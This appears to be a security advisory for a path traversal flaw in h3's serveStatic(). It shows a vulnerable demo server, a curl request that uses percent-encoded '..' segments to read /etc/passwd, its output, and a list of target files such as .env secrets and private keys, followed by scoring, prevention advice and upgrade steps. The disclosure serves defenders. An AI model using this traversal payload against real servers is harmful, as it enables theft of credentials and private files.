Skip to content

GHSA-wr4h-v87w-p3r7 CVE-2026-86253

h3 has a Path Traversal via Percent-Encoded Dot Segments in serveStatic Allows Arbitrary File Read

High npm
Severity
8.2 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.62%
Chance of exploitation in the next 30 days. Higher than 49.64% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CWE-116 Improper Encoding or Escaping of Output
Fix
1.15.6
Upgrade h3 to this version or later

Description

Summary

serveStatic() in h3 is vulnerable to path traversal via percent-encoded dot segments (%2e%2e), allowing an unauthenticated attacker to read arbitrary files outside the intended static directory on Node.js deployments.

Details

The vulnerability exists in src/utils/static.ts at line 86:

const originalId = decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname)));

On Node.js, h3 uses srvx's FastURL class to parse request URLs. Unlike the standard WHATWG URL parser, FastURL extracts the pathname via raw string slicing for performance — it does not normalize dot segments (. / ..) or resolve percent-encoded equivalents (%2e).

This means a request to /%2e%2e/ will have event.url.pathname return /%2e%2e/ verbatim, whereas the standard URL parser would normalize it to / (resolving .. upward).

The serveStatic() function then calls decodeURI() on this raw pathname, which decodes %2e to ., producing /../. The resulting path containing ../ traversal sequences is passed directly to the user-provided getMeta() and getContents() callbacks with no sanitization or traversal validation.

When these callbacks perform filesystem operations (the intended and documented usage), the ../ sequences resolve against the filesystem, escaping the static root directory.

Before exploit:

<img width="761" height="97" alt="image" src="https://github.com/user-attachments/assets/798f9d3d-f76c-4c29-aca3-5a6ccd3b3627" />

Vulnerability chain

1. Attacker sends:    GET /%2e%2e/%2e%2e/%2e%2e/etc/passwd
2. FastURL.pathname:  /%2e%2e/%2e%2e/%2e%2e/etc/passwd  (raw, no normalization)
3. decodeURI():       /../../../etc/passwd                (%2e decoded to .)
4. getMeta(id):       id = "/../../../etc/passwd"         (no traversal check)
5. path.join(root,id): /etc/passwd                        (.. resolved by OS)
6. Response:          contents of /etc/passwd

PoC

Vulnerable server (server.ts)

import { H3, serveStatic } from "h3";
import { serve } from "h3/node";
import { readFileSync, statSync } from "node:fs";
import { join, resolve } from "node:path";

const STATIC_ROOT = resolve("./public");
const app = new H3();

app.all("/**", (event) =>
  serveStatic(event, {
    getMeta: (id) => {
      const filePath = join(STATIC_ROOT, id);
      try {
        const stat = statSync(filePath);
        return { size: stat.size, mtime: stat.mtime };
      } catch {
        return undefined;
      }
    },
    getContents: (id) => {
      const filePath = join(STATIC_ROOT, id);
      try {
        return readFileSync(filePath);
      } catch {
        return undefined;
      }
    },
  })
);

serve({ fetch: app.fetch });

Exploit

# Read /etc/passwd (adjust number of %2e%2e segments based on static root depth)
curl -s --path-as-is "http://localhost:3000/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

Result

root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Proof:

<img width="940" height="703" alt="image" src="https://github.com/user-attachments/assets/f452e061-847a-424c-9dda-dfbf899687b1" />

Pwned by 0xkakashi

<img width="942" height="74" alt="image" src="https://github.com/user-attachments/assets/db881519-1456-4e4c-a751-d8781b7abe95" />

Impact

An unauthenticated remote attacker can read arbitrary files from the server's filesystem by sending a crafted HTTP request with %2e%2e (percent-encoded ..) path segments to any endpoint served by serveStatic().

This affects any h3 v2.x application using serveStatic() running on Node.js (where the FastURL fast path is used). Applications running on runtimes that provide a pre-parsed URL object (e.g., Cloudflare Workers, Deno) may not be affected, as FastURL's raw string slicing is bypassed.

Exploitable files include but are not limited to:

  • /etc/passwd, /etc/shadow (if readable)
  • Application source code and configuration files
  • .env files containing secrets, API keys, database credentials
  • Private keys and certificates

Affected versions

npm

PackageVulnerableFixed in
h3
>= 2.0.0, <= 2.0.1-rc.14
No fix yet
h3
< 1.15.6
1.15.6
h3
>= 2.0.0, < 2.0.1-rc.15
2.0.1-rc.15
h3
< 1.15.6
1.15.6

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

h3 npm → 1.15.6

npm
npm install h3@1.15.6
yarn
yarn add h3@1.15.6
pnpm
pnpm add h3@1.15.6

Severity breakdown

CVSS 4.0 8.2

CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack vector
Network
Attack complexity
High
Attack requirements
Present
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
None
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None
Exploit maturity
Not defined
Scope
X

CVSS 3.1 5.9

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Weakness

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

How to prevent it
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
  • Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
  • Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CWE-116: Improper Encoding or Escaping of Output

The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.

How to prevent it
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error. Alternately, use built-in functions, but consider using wrappers in case those functions are discovered to have a vulnerability.
  • Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. For example, stored procedures can enforce database query structure and reduce the likelihood of SQL injection.
  • Architecture and Design, Implementation: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
  • Architecture and Design: In some cases, input validation may be an important strategy when output encoding is not a complete solution. For example, you may be providing the same output that will be processed by multiple consumers that use different encodings or representations. In other cases, you may be required to allow user-supplied input to contain control information, such as limited HTML tags that support formatting in a wiki or bulletin board. When this type of requirement must be met, use an extremely strict allowlist to limit which control sequences can be used. Verify that the resulting syntactic structure is what you expect. Use your normal encoding methods for the remainder of the input.
  • Architecture and Design: Use input validation as a defense-in-depth measure to reduce the likelihood of output encoding errors (see CWE-20).
  • Requirements: Fully specify which encodings are required by components that will be communicating with each other.
  • Implementation: When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-fp4x-ggrf-wmc6
H3 has an Open Redirect via Protocol-Relative Path in redirectBack() Referer Validation
Medium Also affects h3
GHSA-q5pr-72pq-83v3
H3: Unbounded Chunked Cookie Count in Session Cleanup Loop may Lead to Denial of Service
High Also affects h3
GHSA-4hxc-9384-m385
h3: SSE Event Injection via Unsanitized Carriage Return (`\r`) in EventStream Data and Comment Fields (Bypass of CVE Fix)
Medium Also affects h3
GHSA-2j6q-whv2-gh6w
h3: Missing Path Segment Boundary Check in `mount()` Causes Middleware Execution on Unrelated Prefix-Matching Routes
Medium Also affects h3
GHSA-72gr-qfp7-vwhw
h3: Double Decoding in `serveStatic` Bypasses `resolveDotSegments` Path Traversal Protection via `%252e%252e`
High Also affects h3
GHSA-3vj8-jmxq-cgj5
h3 has a middleware bypass with one gadget
Critical Also affects h3
GHSA-26f5-8h2x-34xh
h3 has an observable timing discrepancy in basic auth utils
Medium Also affects h3
GHSA-22cc-p3c6-wpvm
h3 has a Server-Sent Events Injection via Unsanitized Newlines in Event Stream Fields
Critical Also affects h3

Credits: 0xkakash1

Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor